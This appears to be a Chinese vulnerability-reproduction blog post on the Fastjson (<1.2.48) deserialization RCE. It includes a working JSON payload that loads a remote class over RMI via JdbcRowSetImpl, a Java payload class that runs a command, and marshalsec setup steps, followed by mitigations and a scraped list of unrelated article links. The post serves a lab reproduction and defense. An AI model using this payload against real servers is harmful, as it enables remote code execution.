0x00 影响版本

fastjson< 1.2.48

0x01 漏洞原理

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

通过java.lang.Class,将JdbcRowSetImpl类加载到map缓存,从而绕过autotype的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkautotype就会抛出异常并中止。当发送第一次请求时,Class是通过deserializers.findClass加载的,将JdbcRowSetImpl类加载进map中,然后第二次请求时,成功找到了JdbcRowSetImpl类,绕过检测。

0x02 漏洞环境搭建和利用

下载地址:

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

使用vulhub里的fastjson/1.2.47-rce作为漏洞环境

首先创建一个TouchFile.java(执行命令为创建文件)

import java.lang.Runtime;import java.lang.Process;public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"touch", "/tmp/success"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

编译java,启动web服务,class文件地址为

http://192.168.1.102:/TouchFile.class

下载marshalsec项目(快速开启rmi服务)

https://github.com/mbechler/marshalsec

下载安装maven后修改环境变量

https://maven.apache.org/download.cgi

修改maven为国内源

vim/opt/apache-maven-3.6.3/conf/settings.xml

编译项目marshalsec

mvnclean package -DskipTests

启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

发送数据包如下:

看到数据被靶机下载(因其他原因监听80改为3333。实验不受影响)

返回靶机查看命令被执行

0x03 EXP

marshalsec

https://github.com/mbechler/marshalsec

TouchFile.java:

import java.lang.Runtime;import java.lang.Process;public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"touch", "/tmp/success"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

POST 数据包

"a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://ip:8088/TouchFile",        "autoCommit":true    }}

0x04 防御措施

临时措施:

WAF拦截Json请求中的多种编码形式的‘@type’,‘\u0040type’等字样;

根除措施:

升级Fastjosn到1.2.58版本,并关闭Autotype;

fastjson反序列化漏洞_【漏洞复现】fastjson反序列化漏洞相关推荐

  1. rmi 反序列化漏洞_写一个rmi反序列化工具

    RMI(java 远程方法调用),RMI服务端和客户端之间通过序列化对象进行传输,所以JDK8 U121之前的版本存在反序列化漏洞.RMI和java反序列化原理就不详细介绍了.RMI反序列化利用成功的 ...

  2. struts2漏洞_十大常见web漏洞——命令执行漏洞

    命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...

  3. dedecms 漏洞_代码审计之二次漏洞审计

    什么是二次漏洞 需要先构造好利用代码写入网站保存,在第二次或多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞.二次漏洞有点像存储型XSS的味道,就算payload插进去了,能不能利用还得看 ...

  4. fckeditor漏洞_一、Ewebeidtor编辑器漏洞

    一.Ewebeidtor编辑器漏洞 eWebEditor是基于浏览器的.所见即所得的在线HTML编辑器.它能够在网页上实现许多桌面编辑软件(如:Word)所具有的强大可视编辑功能. 1.Ewebeid ...

  5. php post 漏洞_文件包含上传漏洞目录遍历命令执行漏洞

    制丨阿星 来源丨freebuff 作者丨Deutsh 文件上传漏洞: 一句话木马 一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量 执行函数: eval() assert() create ...

  6. wsgiserver python 漏洞_新型任意文件读取漏洞的研究

    0x00 前言 早前发现boooom在乌云上发了很多个任意文件读取的漏洞,都是形如 http://target/../../../../etc/passwd 这样.当时感觉很新奇,因为正常情况下,通常 ...

  7. Dedecms 最新版漏洞收集并复现学习

    Dedecms 最新版漏洞收集并复现学习 以下漏洞复现均处于最新版dedecms即V5.7 SP2(当然从18年开始就已经没有更新了,应该是没有人维护了).下载可以直接在官网下载. 1. 前台任意用户 ...

  8. MS08-067漏洞分析与复现

    一名网络空间安全专业学生所做的漏洞复现实验,如有错误或有待改进的地方,还请大家多多指教. MS08-067漏洞分析与复现 目录 MS08-067漏洞分析与复现 1 前置知识 2 漏洞简介 3 漏洞代码 ...

  9. struts2漏洞监测_CVE20190233: S2060 拒绝服务漏洞分析

    更多全球网络安全资讯尽在邑安全 0x01 漏洞简述 2020年8月11日,360CERT监测发现Apache官方发布了S2-060的风险通告,该漏洞编号为CVE-2019-0233,漏洞等级:中危.漏 ...

  10. fastjson反序列化漏洞_漏洞预警Fastjson再爆反序列化代码执行漏洞;星巴克被发现存在信息泄露风险...

    漏洞预警 Fastjson再次爆出通杀的反序列化代码执行漏洞 漏洞信息 据态势感知平台监测,网络上再次出现此前未曾发现的fastjson反序列化攻击向量. Fastjson是由阿里巴巴推出基于Java ...

最新文章

  1. Windows 7合理虚拟内存RAMDISK提升运行性能
  2. php合并数组中相同的元素
  3. CTFshow php特性 web113
  4. Linux虚拟机设备无法连接到它的理想主机控制器
  5. 《c语言从入门到精通》看书笔记——第14章 文件
  6. 全球10亿美元以上富翁人数排名,杭州超越东京,大家怎么看
  7. 《伪化生:修罗战场》写给那些在读伪化生专业的
  8. linux化学公式软件下载,化学公式编辑器下载-Efofex FX Chem(化学公式编辑器)下载 v3.004.0 官方特别版-IT猫扑网...
  9. 如何在谷歌地图自定义范围_如何在Google地图中创建自定义地图
  10. CFree 5使用方法
  11. 汉语拼音字母n和l、in和ing的发音有什么区别?
  12. 关于H5版本及说明-为什么优雅草YYC蜻蜓系统H5版本打包不成功以及相关问题
  13. PS抠头发妙法(原创技巧)
  14. 快速学习OSG(2)——光照
  15. ISO 8583协议-银行交易的标准
  16. 地球物理勘探技术类毕业论文文献有哪些?
  17. Component Object Model (COM)
  18. 高可用架构之高可用的应用和服务
  19. 第六章 网络编程——SOCKET 开发
  20. python两个中括号_python中括号

热门文章

  1. 基于JAVA+Spring+MYSQL的家教管理系统
  2. 基于JAVA+SpringMVC+Mybatis+MYSQL的OA办公管理系统
  3. 三星note3 android4.3,三星N9002 (Note3联通双卡版 Android4.3)一键救砖教程,轻松刷回官方系统...
  4. 红石科技机器人_《机器人殖民地》—游戏简评
  5. effective c++:virtual函数在构造函数和析构函数中的注意事项
  6. InputStream和OutputStream
  7. Codeforces Gym101473 F.Triangles-前缀和 (2013-2014 ACM-ICPC Brazil Subregional Programming Contest)...
  8. 多线程下的单例模式你真的了解吗?
  9. js关闭当前页面窗口的问题
  10. ADO数据库常用操作